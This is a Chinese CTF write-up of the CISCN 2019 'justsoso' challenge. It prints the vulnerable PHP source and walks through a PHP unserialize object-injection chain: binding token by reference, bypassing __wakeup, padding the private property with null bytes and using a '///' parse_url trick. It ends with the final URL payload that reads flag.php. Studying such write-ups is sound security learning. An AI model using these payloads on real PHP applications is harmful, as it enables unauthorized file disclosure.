ciscn2019-justsoso涉及知识点总结

题目源码:

index.php

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);

if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
    
    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}

?>

先来看hint.php的源代码,我们需要构造反序列化字符串读取到flag.php文件,handle类中调用了getflag方法,而flag类中同样存在getflag方法,在我博客曾写过这么一篇文章

1.jpg

我们可以通过构造反序列化字符换来调用Flag类中的getflag函数。

这里涉及到题目的几个注意的点:

  1. 我们需要绕过wakeup函数
  2. 我们还需要想办法对下面的校验进行处理

2.jpg

对于wakeup函数的绕过问题,可参考前面的反序列化文章,里面有详细的总结

源代码中要求token和token_flag值是相等的,对于token和token_flag
的比较,这里要熟悉一下PHP中的指针,我们可以将token和token_flag
绑定到一个地址上,这样无论我们赋予token什么值,token与
token_flag总是相等的

所以payload我们可以这样写

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}
class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
    
    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}
$a = new Flag("flag.php");
$b = new Handle($a);
$a->token = "yemoli";
$a->token_flag=&$a->token;
echo serialize($b);
?>

得到如下的payload

O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:6:"yemoli";s:10:"token_flag";R:4;}}

Handlehandle的长度为12,但是它却显示是14,这是因为成员变量是私有变量,查看源代码发现生成了两个方块一样的不可见字符

3.jpg

我们用%00填充即可,同时要注意绕过wakeup

最后的payload

O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:6:"yemoli";s:10:"token_flag";R:4;}}

然后我们转过来看index.php

需要思考的是这一部分

4.jpg

我们可以利用该函数多个/返回false的特性绕过

payload

http://127.0.0.1///?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:6:"yemoli";s:10:"token_flag";R:4;}}

6.jpg